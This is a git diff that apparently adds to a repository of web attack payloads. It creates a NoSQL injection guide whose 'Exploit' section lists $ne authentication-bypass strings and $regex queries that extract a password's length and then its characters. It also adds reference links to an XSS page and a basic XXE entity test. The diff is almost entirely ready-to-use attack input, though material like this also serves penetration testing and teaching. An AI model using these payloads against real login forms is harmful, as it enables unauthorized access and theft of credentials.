diff --git a/NoSQL injection/README.md b/NoSQL injection/README.md
new file mode 100644
index 00000000..1b475225
--- /dev/null
+++ b/NoSQL injection/README.md	
@@ -0,0 +1,29 @@
+# NoSQL injection
+NoSQL databases provide looser consistency restrictions than traditional SQL databases. By requiring fewer relational constraints and consistency checks, NoSQL databases often offer performance and scaling benefits. Yet these databases are still potentially vulnerable to injection attacks, even if they aren't using the traditional SQL syntax.
+
+## Exploit
+
+Basic authentication bypass using not equal ($ne)
+```
+username[$ne]=toto&password[$ne]=toto
+```
+
+Extract length information
+```
+username[$ne]=toto&password[$regex]=.{1}
+username[$ne]=toto&password[$regex]=.{3}
+```
+
+Extract data information
+```
+username[$ne]=toto&password[$regex]=m.{2}
+username[$ne]=toto&password[$regex]=md.{1}
+username[$ne]=toto&password[$regex]=mdp
+
+username[$ne]=toto&password[$regex]=m.*
+username[$ne]=toto&password[$regex]=md.*
+```
+
+## Thanks to
+* https://www.dailysecurity.fr/nosql-injections-classique-blind/
+* https://www.owasp.org/index.php/Testing_for_NoSQL_injection
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diff --git a/XSS injection/README.md b/XSS injection/README.md
index 8dc0918d..4bbb12eb 100644
--- a/XSS injection/README.md	
+++ b/XSS injection/README.md	
@@ -242,4 +242,8 @@ Use JSFuck to encode the payload (alert())
 
 ## Thanks to
 * https://github.com/0xsobky/HackVault/wiki/Unleashing-an-Ultimate-XSS-Polyglot
-* tbm
\ No newline at end of file
+* tbm
+* http://infinite8security.blogspot.com/2016/02/welcome-readers-as-i-promised-this-post.html
+* http://www.thespanner.co.uk/2014/03/21/rpo/
+* http://blog.innerht.ml/rpo-gadgets/
+* http://support.detectify.com/customer/portal/articles/2088351-relative-path-overwrite
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diff --git a/XXE files/README.md b/XXE files/README.md
index da29ba94..1e1cd2bb 100644
--- a/XXE files/README.md	
+++ b/XXE files/README.md	
@@ -3,6 +3,16 @@ An XML External Entity attack is a type of attack against an application that pa
 
 ## Exploit
 
+Basic Test
+```
+<!--?xml version="1.0" ?-->
+<!DOCTYPE replace [<!ENTITY example "Doe"> ]>
+ <userInfo>
+  <firstName>John</firstName>
+  <lastName>&example;</lastName>
+ </userInfo>
+```
+
 Classic XXE
 ```
 <?xml version="1.0"?>